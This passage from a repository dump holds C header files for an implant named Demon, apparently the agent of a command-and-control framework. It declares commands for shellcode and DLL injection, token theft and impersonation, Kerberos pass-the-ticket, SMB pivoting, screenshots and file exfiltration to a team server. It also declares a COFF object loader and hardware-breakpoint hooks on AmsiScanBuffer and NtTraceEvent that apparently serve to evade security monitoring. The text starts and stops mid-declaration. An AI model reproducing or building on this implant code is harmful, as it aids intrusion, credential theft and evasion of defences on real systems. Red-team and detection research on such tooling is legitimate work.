PVOID Context, IN ULONG Flags ); NTSTATUS NTAPI RtlCreateUserStack( SIZE_T CommittedStackSize, SIZE_T MaximumStackSize, SIZE_T ZeroBits, ULONG PageSize, ULONG ReserveAlignment, PINITIAL_TEB InitialTeb ); LRESULT NTAPI NtdllDefWindowProc_W( ); LRESULT NTAPI NtdllDefWindowProc_A( ); NTSTATUS NTAPI LdrQueryProcessModuleInformation( PRTL_PROCESS_MODULES ModuleInformation, ULONG ModuleInformationLength, PULONG ReturnLength ); NTSYSAPI ULONG NTAPI RtlRandomEx( PULONG Seed ); NTSYSAPI BOOL NTAPI ImpersonateLoggedOnUser( IN HANDLE hToken ); NTSYSAPI BOOL NTAPI DuplicateHandle( IN HANDLE hSourceProcessHandle, IN HANDLE hSourceHandle, IN HANDLE hTargetProcessHandle, OUT LPHANDLE lpTargetHandle, IN DWORD dwDesiredAccess, IN BOOL bInheritHandle, IN DWORD dwOptions ); BOOL WINAPI AttachConsole( IN DWORD dwProcessId ); HANDLE WINAPI GetStdHandle( IN DWORD nStdHandle ); /* BOOL WINAPI WriteConsoleA( IN HANDLE hConsoleOutput, IN VOID *lpBuffer, IN DWORD nNumberOfCharsToWrite, OUT LPDWORD lpNumberOfCharsWritten, IN LPVOID lpReserved ); */ typedef struct addrinfo { int ai_flags; int ai_family; int ai_socktype; int ai_protocol; size_t ai_addrlen; char *ai_canonname; struct sockaddr *ai_addr; struct addrinfo *ai_next; } ADDRINFOA, *PADDRINFOA; INT WSAAPI getaddrinfo( IN OPTIONAL PCSTR pNodeName, IN OPTIONAL PCSTR pServiceName, IN OPTIONAL const ADDRINFOA *pHints, OUT PADDRINFOA *ppResult ); VOID WSAAPI freeaddrinfo( IN PADDRINFOA pAddrInfo ); // // end non-crt prototypes // // // nt crt // //please do not change swprintf stuff otherwise win32 mode is always trashed #if !defined(_NO_NTDLL_CRT_) //readded 4 jan 2012 //win64 mode does not need this //for using this routines ntdllp.lib is required #if !defined(_M_X64) IMPORT_FN size_t __cdecl wcslen(const wchar_t *); IMPORT_FN wchar_t * __cdecl wcscat(wchar_t *dst, const wchar_t *src); IMPORT_FN int __cdecl wcscmp(const wchar_t *src, const wchar_t *dst); IMPORT_FN int __cdecl _wcsicmp(const wchar_t *, const wchar_t *); IMPORT_FN int __cdecl _wcsnicmp(const wchar_t *, const wchar_t *, size_t); IMPORT_FN wchar_t * __cdecl _wcslwr(wchar_t *); IMPORT_FN wchar_t * __cdecl _wcsupr(wchar_t *); IMPORT_FN wchar_t * __cdecl wcschr(const wchar_t *string, wchar_t ch); IMPORT_FN wchar_t * __cdecl wcscpy(wchar_t *dst, const wchar_t *src); IMPORT_FN wchar_t * __cdecl wcsncat(wchar_t *front, const wchar_t *back, size_t count); IMPORT_FN wchar_t * __cdecl wcsncpy(wchar_t *dest, const wchar_t *source, size_t count); #endif //_M_X64 #endif // _NO_NTDLL_CRT_ #ifdef __cplusplus } #endif #endif /* _NTDLL_ */ ================================================ FILE: payloads/Demon/include/core/CoffeeLdr.h ================================================ // // Created by spider on 18.03.21. // #ifndef DEMON_DOF_H #define DEMON_DOF_H #define SIZE_OF_PAGE 4096 #define PAGE_ALLIGN( x ) ( PVOID )( U_PTR( x ) + ( ( SIZE_OF_PAGE - ( U_PTR( x ) & ( SIZE_OF_PAGE - 1 ) ) ) % SIZE_OF_PAGE ) ) #define IMAGE_SCN_MEM_NOT_CACHED 0x04000000 #define IMAGE_SCN_MEM_EXECUTE 0x20000000 #define IMAGE_SCN_MEM_READ 0x40000000 #define IMAGE_SCN_MEM_WRITE 0x80000000 // https://courses.cs.washington.edu/courses/cse378/03wi/lectures/LinkerFiles/coff.pdf #define SYMBOL_IS_A_FUNCTION 0x20 typedef struct _COFFEE_PARAMS { PCHAR EntryName; DWORD EntryNameSize; PVOID CoffeeData; SIZE_T CoffeeDataSize; PVOID ArgData; SIZE_T ArgSize; UINT32 RequestID; } COFFEE_PARAMS, *PCOFFEE_PARAMS; typedef struct _COFF_FILE_HEADER { UINT16 Machine; UINT16 NumberOfSections; UINT32 TimeDateStamp; UINT32 PointerToSymbolTable; UINT32 NumberOfSymbols; UINT16 SizeOfOptionalHeader; UINT16 Characteristics; } COFF_FILE_HEADER, *PCOFF_FILE_HEADER; /* AMD64 should always be here */ #define MACHINETYPE_AMD64 0x8664 #pragma pack(push,1) typedef struct _COFF_SECTION { CHAR Name[ 8 ]; UINT32 VirtualSize; UINT32 VirtualAddress; UINT32 SizeOfRawData; UINT32 PointerToRawData; UINT32 PointerToRelocations; UINT32 PointerToLineNumbers; UINT16 NumberOfRelocations; UINT16 NumberOfLinenumbers; UINT32 Characteristics; } COFF_SECTION, *PCOFF_SECTION; typedef struct _COFF_RELOC { UINT32 VirtualAddress; UINT32 SymbolTableIndex; UINT16 Type; } COFF_RELOC, *PCOFF_RELOC; typedef struct _COFF_SYMBOL { union { CHAR Name[ 8 ]; UINT32 Value[ 2 ]; } First; UINT32 Value; UINT16 SectionNumber; UINT16 Type; UINT8 StorageClass; UINT8 NumberOfAuxSymbols; } COFF_SYMBOL, *PCOFF_SYMBOL; typedef struct _SECTION_MAP { PCHAR Ptr; SIZE_T Size; } SECTION_MAP, *PSECTION_MAP; typedef struct _COFFEE { PVOID Data; PCOFF_FILE_HEADER Header; PCOFF_SECTION Section; PCOFF_RELOC Reloc; PCOFF_SYMBOL Symbol; PVOID ImageBase; SIZE_T BofSize; UINT32 RequestID; PSECTION_MAP SecMap; PCHAR FunMap; SIZE_T FunMapSize; struct _COFFEE* Next; } COFFEE, *PCOFFEE; #define COFFEE_KEY_VALUE_MAX_KEY 512 typedef struct _COFFEE_KEY_VALUE { CHAR Key[COFFEE_KEY_VALUE_MAX_KEY]; PVOID Value; struct _COFFEE_KEY_VALUE* Next; } COFFEE_KEY_VALUE, *PCOFFEE_KEY_VALUE; /*! * CoffeeLdr * Simply executes an object file in the current thread (blocking) * @param EntryName * @param CoffeeData * @param ArgData * @param ArgSize * @param RequestID * @return */ VOID CoffeeLdr( PCHAR EntryName, PVOID CoffeeData, PVOID ArgData, SIZE_T ArgSize, UINT32 RequestID ); /*! * CoffeeRunner * Creates a separate thread for executing an object file with its own output buffer. * Send back the status and output of the object file output buffer * @param EntryName * @param CoffeeData * @param ArgData * @param ArgSize * @param RequestID * @return */ VOID CoffeeRunner( PCHAR EntryName, DWORD EntryNameSize, PVOID CoffeeData, SIZE_T CoffeeDataSize, PVOID ArgData, SIZE_T ArgSize, UINT32 RequestID ); #endif ================================================ FILE: payloads/Demon/include/core/Command.h ================================================ #ifndef DEMON_COMMAND_H #define DEMON_COMMAND_H #include /* Commands */ #define DEMON_COMMAND_CHECKIN 100 #define DEMON_COMMAND_GET_JOB 1 #define DEMON_COMMAND_NO_JOB 10 #define DEMON_COMMAND_SLEEP 11 #define DEMON_COMMAND_PROC 0x1010 #define DEMON_COMMAND_PROC_LIST 12 #define DEMON_COMMAND_FS 15 #define DEMON_COMMAND_INLINE_EXECUTE 20 #define DEMON_COMMAND_JOB 21 #define DEMON_COMMAND_INJECT_DLL 22 #define DEMON_COMMAND_INJECT_SHELLCODE 24 #define DEMON_COMMAND_SPAWN_DLL 26 #define DEMON_COMMAND_TOKEN 40 #define DEMON_COMMAND_ASSEMBLY_INLINE_EXECUTE 0x2001 #define DEMON_COMMAND_ASSEMBLY_VERSIONS 0x2003 #define DEMON_COMMAND_NET 2100 #define DEMON_COMMAND_CONFIG 2500 #define DEMON_COMMAND_SCREENSHOT 2510 #define DEMON_COMMAND_PIVOT 2520 #define DEMON_COMMAND_TRANSFER 2530 #define DEMON_COMMAND_SOCKET 2540 #define DEMON_COMMAND_KERBEROS 2550 #define DEMON_COMMAND_MEM_FILE 2560 #define DEMON_PACKAGE_DROPPED 2570 #define DEMON_INFO 89 #define DEMON_OUTPUT 90 #define DEMON_ERROR 91 #define DEMON_EXIT 92 #define DEMON_KILL_DATE 93 #define BEACON_OUTPUT 94 #define DEMON_INITIALIZE 99 #define DEMON_COMMAND_INLINE_EXECUTE_EXCEPTION 1 #define DEMON_COMMAND_INLINE_EXECUTE_SYMBOL_NOT_FOUND 2 #define DEMON_COMMAND_INLINE_EXECUTE_RAN_OK 3 #define DEMON_COMMAND_INLINE_EXECUTE_COULD_NO_RUN 4 #define DOTNET_INFO_PATCHED 0x1 #define DOTNET_INFO_NET_VERSION 0x2 #define DOTNET_INFO_ENTRYPOINT_EXECUTED 0x3 #define DOTNET_INFO_FINISHED 0x4 #define DOTNET_INFO_FAILED 0x5 #define CALLBACK_ERROR_WIN32 0x1 #define CALLBACK_ERROR_COFFEXEC 0x2 #define CALLBACK_ERROR_TOKEN 0x3 // Config options #define DEMON_CONFIG_SHOW_ALL 0 #define DEMON_CONFIG_IMPLANT_SLEEPMASK 1 #define DEMON_CONFIG_IMPLANT_SPFTHREADADDR 3 #define DEMON_CONFIG_IMPLANT_VERBOSE 4 #define DEMON_CONFIG_IMPLANT_SLEEP_TECHNIQUE 5 #define DEMON_CONFIG_IMPLANT_COFFEE_THREADED 6 #define DEMON_CONFIG_IMPLANT_COFFEE_VEH 7 #define DEMON_CONFIG_MEMORY_ALLOC 101 #define DEMON_CONFIG_MEMORY_EXECUTE 102 #define DEMON_CONFIG_INJECTION_TECHNIQUE 150 #define DEMON_CONFIG_INJECTION_SPOOFADDR 151 #define DEMON_CONFIG_INJECTION_SPAWN64 152 #define DEMON_CONFIG_INJECTION_SPAWN32 153 #define DEMON_CONFIG_KILLDATE 154 #define DEMON_CONFIG_WORKINGHOURS 155 #define DEMON_NET_COMMAND_DOMAIN 1 #define DEMON_NET_COMMAND_LOGONS 2 #define DEMON_NET_COMMAND_SESSIONS 3 #define DEMON_NET_COMMAND_COMPUTER 4 #define DEMON_NET_COMMAND_DCLIST 5 #define DEMON_NET_COMMAND_SHARE 6 #define DEMON_NET_COMMAND_LOCALGROUP 7 #define DEMON_NET_COMMAND_GROUP 8 #define DEMON_NET_COMMAND_USER 9 #define DEMON_PIVOT_LIST 1 #define DEMON_PIVOT_SMB_CONNECT 10 #define DEMON_PIVOT_SMB_DISCONNECT 11 #define DEMON_PIVOT_SMB_COMMAND 12 #define DEMON_INFO_MEM_ALLOC 10 #define DEMON_INFO_MEM_EXEC 11 #define DEMON_INFO_MEM_PROTECT 12 #define DEMON_INFO_PROC_CREATE 21 #define DEMON_CHECKIN_OPTION_PIVOTS 1 #define DEMON_COMMAND_JOB_LIST 1 #define DEMON_COMMAND_JOB_SUSPEND 2 #define DEMON_COMMAND_JOB_RESUME 3 #define DEMON_COMMAND_JOB_KILL_REMOVE 4 #define DEMON_COMMAND_JOB_DIED 5 #define DEMON_COMMAND_TRANSFER_LIST 0 #define DEMON_COMMAND_TRANSFER_STOP 1 #define DEMON_COMMAND_TRANSFER_RESUME 2 #define DEMON_COMMAND_TRANSFER_REMOVE 3 #define DEMON_COMMAND_PROC_MODULES 2 #define DEMON_COMMAND_PROC_GREP 3 #define DEMON_COMMAND_PROC_CREATE 4 #define DEMON_COMMAND_PROC_MEMORY 6 #define DEMON_COMMAND_PROC_KILL 7 #define DEMON_COMMAND_TOKEN_IMPERSONATE 1 #define DEMON_COMMAND_TOKEN_STEAL 2 #define DEMON_COMMAND_TOKEN_LIST 3 #define DEMON_COMMAND_TOKEN_PRIVSGET_OR_LIST 4 #define DEMON_COMMAND_TOKEN_MAKE 5 #define DEMON_COMMAND_TOKEN_GET_UID 6 #define DEMON_COMMAND_TOKEN_REVERT 7 #define DEMON_COMMAND_TOKEN_REMOVE 8 #define DEMON_COMMAND_TOKEN_CLEAR 9 #define DEMON_COMMAND_TOKEN_FIND_TOKENS 10 #define DEMON_COMMAND_FS_DIR 1 #define DEMON_COMMAND_FS_DOWNLOAD 2 #define DEMON_COMMAND_FS_UPLOAD 3 #define DEMON_COMMAND_FS_CD 4 #define DEMON_COMMAND_FS_REMOVE 5 #define DEMON_COMMAND_FS_MKDIR 6 #define DEMON_COMMAND_FS_COPY 7 #define DEMON_COMMAND_FS_MOVE 8 #define DEMON_COMMAND_FS_GET_PWD 9 #define DEMON_COMMAND_FS_CAT 10 typedef struct { INT ID; VOID ( *Function ) ( PPARSER Arguments ); } DEMON_COMMAND ; BOOL InWorkingHours( ); BOOL ReachedKillDate( ); VOID KillDate( ); /* dispatcher */ VOID CommandDispatcher( VOID ); /* commands */ VOID CommandCheckin( IN PPARSER Parser ); VOID CommandSleep( IN PPARSER DataArgs ); VOID CommandExit( IN PPARSER DataArgs ); VOID CommandJob( IN PPARSER DataArgs ); VOID CommandProc( IN PPARSER DataArgs ); VOID CommandProcList( IN PPARSER DataArgs ); VOID CommandFS( IN PPARSER DataArgs ); VOID CommandInjectDLL( IN PPARSER DataArgs ); VOID CommandInjectShellcode( IN PPARSER DataArgs ); VOID CommandSpawnDLL( IN PPARSER DataArgs ); VOID CommandInlineExecute( IN PPARSER DataArgs ); VOID CommandAssemblyInlineExecute( IN PPARSER DataArgs ); VOID CommandAssemblyListVersion( IN PPARSER Parser ); VOID CommandScreenshot( IN PPARSER Parser ); VOID CommandConfig( IN PPARSER Parser ); VOID CommandNet( IN PPARSER Parser ); VOID CommandToken( IN PPARSER Parser ); VOID CommandPivot( IN PPARSER Parser ); VOID CommandTransfer( IN PPARSER Parser ); VOID CommandSocket( IN PPARSER Parser ); VOID CommandKerberos( IN PPARSER Parser ); VOID CommandMemFile( IN PPARSER Parser ); #endif ================================================ FILE: payloads/Demon/include/core/Dotnet.h ================================================ #include BOOL DotnetExecute( BUFFER Assembly, BUFFER Arguments ); VOID DotnetClose(); VOID DotnetPush(); ================================================ FILE: payloads/Demon/include/core/Download.h ================================================ #ifndef DEMON_FILETRANFER_H #define DEMON_FILETRANFER_H #include #define DOWNLOAD_MODE_OPEN 0x0 #define DOWNLOAD_MODE_WRITE 0x1 #define DOWNLOAD_MODE_CLOSE 0x2 #define DOWNLOAD_REASON_FINISHED 0x0 #define DOWNLOAD_REASON_REMOVED 0x1 #define DOWNLOAD_STATE_RUNNING 0x1 #define DOWNLOAD_STATE_STOPPED 0x2 #define DOWNLOAD_STATE_REMOVE 0x3 typedef enum { Running, Stopped, Remove, } DownloadState; typedef struct _DOWNLOAD_DATA { /* Some random ID so both teamserver and agent knows what file it is */ DWORD FileID; /* file handle opened/created using CreateFile */ HANDLE hFile; /* The random task id associated with the requested download*/ UINT32 RequestID; /* What we have left to read. */ LONGLONG Size; /* What we already read. */ LONGLONG ReadSize; /* Current state of file transfer */ DownloadState State; /* Next file in linked list */ struct _DOWNLOAD_DATA* Next; } DOWNLOAD_DATA, *PDOWNLOAD_DATA; /* This can be a BOF, a .NET binary or a generic file */ typedef struct _MEM_FILE { /* Some random ID so both teamserver and agent knows what MemFile it is */ ULONG32 ID; /* Size of the MemFile. */ SIZE_T Size; /* What we already read. */ SIZE_T ReadSize; /* Pointer to file contents */ PVOID Data; /* Has the entire file been received? */ BOOL IsCompleted; /* Next file in linked list */ struct _MEM_FILE* Next; } MEM_FILE, *PMEM_FILE; /* Add file to linked list with type (upload/download) */ PDOWNLOAD_DATA DownloadAdd( HANDLE hFile, LONGLONG MaxSize ); /* Get download data from linked list */ PDOWNLOAD_DATA DownloadGet( DWORD FileID ); BOOL DownloadRemove( DWORD FileID ); /* send file chunks to team server */ VOID DownloadPush(); BOOL MemFileIsNew( ULONG32 ID ); PMEM_FILE GetMemFile( ULONG32 ID ); PMEM_FILE MemFileReadChunk( ULONG32 ID, SIZE_T Size, PVOID Data, ULONG32 ReadSize ); BOOL RemoveMemFile( ULONG32 ID ); /* Add a DataBlock to linked list */ PMEM_FILE NewMemFile( ULONG32 ID, SIZE_T Size, PVOID Data, ULONG32 ReadSize ); PMEM_FILE ProcessMemFileChunk( ULONG32 ID, SIZE_T Size, PVOID Data, ULONG32 ReadSize ); #endif ================================================ FILE: payloads/Demon/include/core/HwBpEngine.h ================================================ #ifndef DEMON_HWBPENGINE_H #define DEMON_HWBPENGINE_H #include #include typedef struct _BP_LIST { DWORD Tid; PVOID Address; PVOID Function; BYTE Position; /* next in the list */ struct _BP_LIST* Next; } BP_LIST, *PBP_LIST; typedef struct _HWBP_ENGINE { /* Veh (Vectored Exception Handling) handle */ HANDLE Veh; /* first time adding hw bp. need to prepare register */ BYTE First; /* list of breakpoints */ PBP_LIST Breakpoints; } HWBP_ENGINE, *PHWBP_ENGINE; NTSTATUS HwBpEngineInit( OUT PHWBP_ENGINE Engine, IN PVOID Exception ); NTSTATUS HwBpEngineAdd( IN PHWBP_ENGINE Engine, IN DWORD Tid, IN PVOID Address, IN PVOID Function, IN BYTE Position ); NTSTATUS HwBpEngineRemove( IN PHWBP_ENGINE Engine, IN DWORD Tid, IN PVOID Address ); NTSTATUS HwBpEngineDestroy( IN PHWBP_ENGINE Engine ); #endif ================================================ FILE: payloads/Demon/include/core/HwBpExceptions.h ================================================ #ifndef DEMON_HWBPEXCEPTIONS_H #define DEMON_HWBPEXCEPTIONS_H #include #if defined( __x86_64__ ) || defined( _M_X64 ) #define EXCEPTION_DUMP( e ) \ PRINTF( \ "Exception: \n" \ " - Rip: %p \n" \ " - Rax: %p \n" \ " - Arg1: %p \n" \ " - Arg2: %p \n" \ " - Arg3: %p \n" \ " - Arg4: %p \n" \ " - Arg5: %p \n" \ " - Arg6: %p \n", \ e->ContextRecord->Rip, \ e->ContextRecord->Rax, \ e->ContextRecord->Rcx, \ e->ContextRecord->Rdx, \ e->ContextRecord->R8, \ e->ContextRecord->R9, \ *( PVOID* ) ( e->ContextRecord->Rsp + sizeof( PVOID ) * 5 ), \ *( PVOID* ) ( e->ContextRecord->Rsp + sizeof( PVOID ) * 6 ) \ ) #define EXCEPTION_SET_RIP( e, p ) e->ContextRecord->Rip = p #define EXCEPTION_SET_RET( e, r ) e->ContextRecord->Rax = r #define EXCEPTION_RESUME( e ) e->ContextRecord->EFlags = ( 1 << 16 ) #define EXCEPTION_GET_RET( e ) *( PVOID* ) ( e->ContextRecord->Rsp ) #define EXCEPTION_ADJ_STACK( e, i ) e->ContextRecord->Rsp += i #define EXCEPTION_ARG_1( e ) ( e->ContextRecord->Rcx ) #define EXCEPTION_ARG_2( e ) ( e->ContextRecord->Rdx ) #define EXCEPTION_ARG_3( e ) ( e->ContextRecord->R8 ) #define EXCEPTION_ARG_4( e ) ( e->ContextRecord->R9 ) #define EXCEPTION_ARG_5( e ) *( PVOID* ) ( e->ContextRecord->Rsp + sizeof( PVOID ) * 5 ) #define EXCEPTION_ARG_6( e ) *( PVOID* ) ( e->ContextRecord->Rsp + sizeof( PVOID ) * 6 ) #define EXCEPTION_ARG_7( e ) *( PVOID* ) ( e->ContextRecord->Rsp + sizeof( PVOID ) * 7 ) #elif defined(i386) || defined(__i386__) || defined(__i386) || defined(_M_IX86) #define EXCEPTION_ARG_1( e ) *( PVOID* )( e->ContextRecord->Esp + sizeof( PVOID ) * 1 ) #define EXCEPTION_ARG_2( e ) *( PVOID* )( e->ContextRecord->Esp + sizeof( PVOID ) * 2 ) #define EXCEPTION_ARG_3( e ) *( PVOID* )( e->ContextRecord->Esp + sizeof( PVOID ) * 3 ) #define EXCEPTION_ARG_4( e ) *( PVOID* )( e->ContextRecord->Esp + sizeof( PVOID ) * 4 ) #define EXCEPTION_ARG_5( e ) *( PVOID* )( e->ContextRecord->Esp + sizeof( PVOID ) * 5 ) #define EXCEPTION_ARG_6( e ) *( PVOID* )( e->ContextRecord->Esp + sizeof( PVOID ) * 6 ) #define EXCEPTION_ARG_7( e ) *( PVOID* )( e->ContextRecord->Esp + sizeof( PVOID ) * 7 ) #endif VOID HwBpExAmsiScanBuffer( _Inout_ PEXCEPTION_POINTERS Exception ); VOID HwBpExNtTraceEvent( _Inout_ PEXCEPTION_POINTERS Exception ); #endif //DEMON_HWBPEXCEPTIONS_H ================================================ FILE: payloads/Demon/include/core/Jobs.h ================================================ #ifndef DEMON_JOBS_HPP #define DEMON_JOBS_HPP #include #define JOB_TYPE_THREAD 0x1 #define JOB_TYPE_PROCESS 0x2 #define JOB_TYPE_TRACK_PROCESS 0x3 #define JOB_STATE_RUNNING 0x1 #define JOB_STATE_SUSPENDED 0x2 #define JOB_STATE_DEAD 0x3 typedef struct _JOB_DATA { UINT32 RequestID; DWORD JobID; SHORT Type; SHORT State; HANDLE Handle; PVOID Data; struct _JOB_DATA* Next; } JOB_DATA, *PJOB_DATA; /*! * JobAdd * Adds a job to the job linked list * @param JobID * @param Type * @param State * @param Data * @return */ VOID JobAdd( UINT32 RequestID, DWORD JobID, SHORT Type, SHORT State, HANDLE Handle, PVOID Data ); /*! * Check if all jobs are still running and exists * @return */ VOID JobCheckList(); /*! * JobSuspend * Suspends the specified job * @param ThreadID * @return */ BOOL JobSuspend( DWORD JobID ); /*! * JobSuspend * Suspends the specified job * @param ThreadID * @return */ BOOL JobResume( DWORD JobID ); /*! * JobKill * Kills the specified job * @param ThreadID * @return */ BOOL JobKill( DWORD JobID ); /*! * JobRemove * Remove the specified job * @param ThreadID * @return */ VOID JobRemove( DWORD JobID ); #endif ================================================ FILE: payloads/Demon/include/core/Kerberos.h ================================================ #ifndef DEMON_KERBEROS_H #define DEMON_KERBEROS_H //#include #define KERBEROS_COMMAND_LUID 0x0 #define KERBEROS_COMMAND_KLIST 0x1 #define KERBEROS_COMMAND_PURGE 0x2 #define KERBEROS_COMMAND_PTT 0x3 #define _KerbSubmitTicketMessage 21 #define KERB_USE_DEFAULT_TICKET_FLAGS 0x0 #define KERB_RETRIEVE_TICKET_DEFAULT 0x0 #define KERB_RETRIEVE_TICKET_DONT_USE_CACHE 0x1 #define KERB_RETRIEVE_TICKET_USE_CACHE_ONLY 0x2 #define KERB_RETRIEVE_TICKET_USE_CREDHANDLE 0x4 #define KERB_RETRIEVE_TICKET_AS_KERB_CRED 0x8 #define KERB_RETRIEVE_TICKET_WITH_SEC_CRED 0x10 #define KERB_RETRIEVE_TICKET_CACHE_TICKET 0x20 #define FIELD_LENGTH 512 typedef struct _TICKET_INFORMATION { WCHAR ClientName[FIELD_LENGTH]; WCHAR ClientRealm[FIELD_LENGTH]; WCHAR ServerName[FIELD_LENGTH]; WCHAR ServerRealm[FIELD_LENGTH]; LARGE_INTEGER StartTime; LARGE_INTEGER EndTime; LARGE_INTEGER RenewTime; LONG EncryptionType; ULONG TicketFlags; BUFFER Ticket; struct _TICKET_INFORMATION* Next; } TICKET_INFORMATION,*PTICKET_INFORMATION; typedef struct _SESSION_INFORMATION { WCHAR UserName[FIELD_LENGTH]; WCHAR Domain[FIELD_LENGTH]; LUID LogonId; ULONG Session; WCHAR UserSID[FIELD_LENGTH]; LARGE_INTEGER LogonTime; ULONG LogonType; WCHAR AuthenticationPackage[FIELD_LENGTH]; WCHAR LogonServer[FIELD_LENGTH]; WCHAR LogonServerDNSDomain[FIELD_LENGTH]; WCHAR Upn[FIELD_LENGTH]; PTICKET_INFORMATION Tickets; struct _SESSION_INFORMATION* Next; } SESSION_INFORMATION,*PSESSION_INFORMATION; typedef enum _KERB_PROTOCOL_MESSAGE_TYPE { KerbDebugRequestMessage = 0, KerbQueryTicketCacheMessage, KerbChangeMachinePasswordMessage, KerbVerifyPacMessage, KerbRetrieveTicketMessage, KerbUpdateAddressesMessage, KerbPurgeTicketCacheMessage, KerbChangePasswordMessage, KerbRetrieveEncodedTicketMessage, KerbDecryptDataMessage, KerbAddBindingCacheEntryMessage, KerbSetPasswordMessage, KerbSetPasswordExMessage, KerbAddExtraCredentialsMessage = 17, KerbQueryTicketCacheExMessage, KerbPurgeTicketCacheExMessage, KerbRefreshSmartcardCredentialsMessage, //KerbAddExtraCredentialsMessage = 17, KerbQuerySupplementalCredentialsMessage, KerbTransferCredentialsMessage, KerbQueryTicketCacheEx2Message, KerbSubmitTicketMessage, KerbAddExtraCredentialsExMessage, KerbQueryKdcProxyCacheMessage, KerbPurgeKdcProxyCacheMessage, KerbQueryTicketCacheEx3Message, KerbCleanupMachinePkinitCredsMessage, KerbAddBindingCacheEntryExMessage, KerbQueryBindingCacheMessage, KerbPurgeBindingCacheMessage, KerbPinKdcMessage, KerbUnpinAllKdcsMessage, KerbQueryDomainExtendedPoliciesMessage, KerbQueryS4U2ProxyCacheMessage, KerbRetrieveKeyTabMessage, KerbRefreshPolicyMessage, KerbPrintCloudKerberosDebugMessage } KERB_PROTOCOL_MESSAGE_TYPE, *PKERB_PROTOCOL_MESSAGE_TYPE; typedef struct KERB_CRYPTO_KEY { LONG KeyType; ULONG Length; PUCHAR Value; } KERB_CRYPTO_KEY, *PKERB_CRYPTO_KEY; typedef struct KERB_CRYPTO_KEY32 { LONG KeyType; ULONG Length; ULONG Offset; } KERB_CRYPTO_KEY32, *PKERB_CRYPTO_KEY32; typedef struct _KERB_SUBMIT_TKT_REQUEST { KERB_PROTOCOL_MESSAGE_TYPE MessageType; LUID LogonId; ULONG Flags; KERB_CRYPTO_KEY32 Key; ULONG KerbCredSize; ULONG KerbCredOffset; } KERB_SUBMIT_TKT_REQUEST, *PKERB_SUBMIT_TKT_REQUEST; typedef struct _KERB_PURGE_TKT_CACHE_REQUEST { KERB_PROTOCOL_MESSAGE_TYPE MessageType; LUID LogonId; UNICODE_STRING ServerName; UNICODE_STRING RealmName; } KERB_PURGE_TKT_CACHE_REQUEST, *PKERB_PURGE_TKT_CACHE_REQUEST; typedef struct _KERB_TICKET_CACHE_INFO_EX { UNICODE_STRING ClientName; UNICODE_STRING ClientRealm; UNICODE_STRING ServerName; UNICODE_STRING ServerRealm; LARGE_INTEGER StartTime; LARGE_INTEGER EndTime; LARGE_INTEGER RenewTime; LONG EncryptionType; ULONG TicketFlags; } KERB_TICKET_CACHE_INFO_EX,*PKERB_TICKET_CACHE_INFO_EX; typedef struct _KERB_QUERY_TKT_CACHE_EX_RESPONSE { KERB_PROTOCOL_MESSAGE_TYPE MessageType; ULONG CountOfTickets; KERB_TICKET_CACHE_INFO_EX Tickets[ANYSIZE_ARRAY]; } KERB_QUERY_TKT_CACHE_EX_RESPONSE,*PKERB_QUERY_TKT_CACHE_EX_RESPONSE; #ifndef __SECHANDLE_DEFINED__ typedef struct _SecHandle { ULONG_PTR dwLower; ULONG_PTR dwUpper; } SecHandle,*PSecHandle; #define __SECHANDLE_DEFINED__ #endif typedef struct _KERB_RETRIEVE_TKT_REQUEST { KERB_PROTOCOL_MESSAGE_TYPE MessageType; LUID LogonId; UNICODE_STRING TargetName; ULONG TicketFlags; ULONG CacheOptions; LONG EncryptionType; SecHandle CredentialsHandle; } KERB_RETRIEVE_TKT_REQUEST,*PKERB_RETRIEVE_TKT_REQUEST; typedef struct _KERB_EXTERNAL_NAME { SHORT NameType; USHORT NameCount; UNICODE_STRING Names[ANYSIZE_ARRAY]; } KERB_EXTERNAL_NAME,*PKERB_EXTERNAL_NAME; typedef struct _KERB_EXTERNAL_TICKET { PKERB_EXTERNAL_NAME ServiceName; PKERB_EXTERNAL_NAME TargetName; PKERB_EXTERNAL_NAME ClientName; UNICODE_STRING DomainName; UNICODE_STRING TargetDomainName; UNICODE_STRING AltTargetDomainName; KERB_CRYPTO_KEY SessionKey; ULONG TicketFlags; ULONG Flags; LARGE_INTEGER KeyExpirationTime; LARGE_INTEGER StartTime; LARGE_INTEGER EndTime; LARGE_INTEGER RenewUntil; LARGE_INTEGER TimeSkew; ULONG EncodedTicketSize; PUCHAR EncodedTicket; } KERB_EXTERNAL_TICKET,*PKERB_EXTERNAL_TICKET; typedef struct _KERB_RETRIEVE_TKT_RESPONSE { KERB_EXTERNAL_TICKET Ticket; } KERB_RETRIEVE_TKT_RESPONSE,*PKERB_RETRIEVE_TKT_RESPONSE; typedef struct _KERB_QUERY_TKT_CACHE_REQUEST { KERB_PROTOCOL_MESSAGE_TYPE MessageType; LUID LogonId; } KERB_QUERY_TKT_CACHE_REQUEST, *PKERB_QUERY_TKT_CACHE_REQUEST; typedef struct _LOGON_SESSION_DATA { PSECURITY_LOGON_SESSION_DATA* sessionData; ULONG sessionCount; } LOGON_SESSION_DATA, *PLOGON_SESSION_DATA; BOOL Ptt( HANDLE hToken, PBYTE Ticket, DWORD TicketSize, LUID luid ); BOOL Purge( HANDLE hToken, LUID luid ); PSESSION_INFORMATION Klist( HANDLE hToken, LUID luid ); LUID* GetLUID( HANDLE hToken ); #endif ================================================ FILE: payloads/Demon/include/core/Memory.h ================================================ #ifndef DEMON_MEMORY_H #define DEMON_MEMORY_H #include typedef enum _DX_MEMORY { DX_MEM_DEFAULT = 0, DX_MEM_WIN32 = 1, DX_MEM_SYSCALL = 2, } DX_MEMORY; PVOID MmHeapAlloc( _In_ ULONG Length ); PVOID MmHeapReAlloc( _In_ PVOID Memory, _In_ ULONG Length ); BOOL MmHeapFree( _In_ PVOID Memory ); PVOID MmVirtualAlloc( IN DX_MEMORY Method, IN HANDLE Process, IN SIZE_T Size, IN DWORD Protect ); BOOL MmVirtualProtect( IN DX_MEMORY Method, IN HANDLE Process, IN PVOID Memory, IN SIZE_T Size, IN DWORD Protect ); BOOL MmVirtualWrite( IN HANDLE Process, OUT PVOID Memory, IN PVOID Buffer, IN SIZE_T Size ); BOOL MmVirtualFree( IN HANDLE Process, OUT PVOID Memory ); PVOID MmGadgetFind( _In_ PVOID Memory, _In_ SIZE_T Length, _In_ PVOID PatternBuffer, _In_ SIZE_T PatternLength ); BOOL FreeReflectiveLoader( IN PVOID BaseAddress ); #endif ================================================ FILE: payloads/Demon/include/core/MiniStd.h ================================================ #ifndef DEMON_DSTDIO_H #define DEMON_DSTDIO_H #include #define MemCopy __builtin_memcpy #define MemSet __stosb #define MemZero( p, l ) __stosb( p, 0, l ) #define NO_INLINE __attribute__ ((noinline)) INT StringCompareA( LPCSTR String1, LPCSTR String2 ); INT StringCompareW( LPWSTR 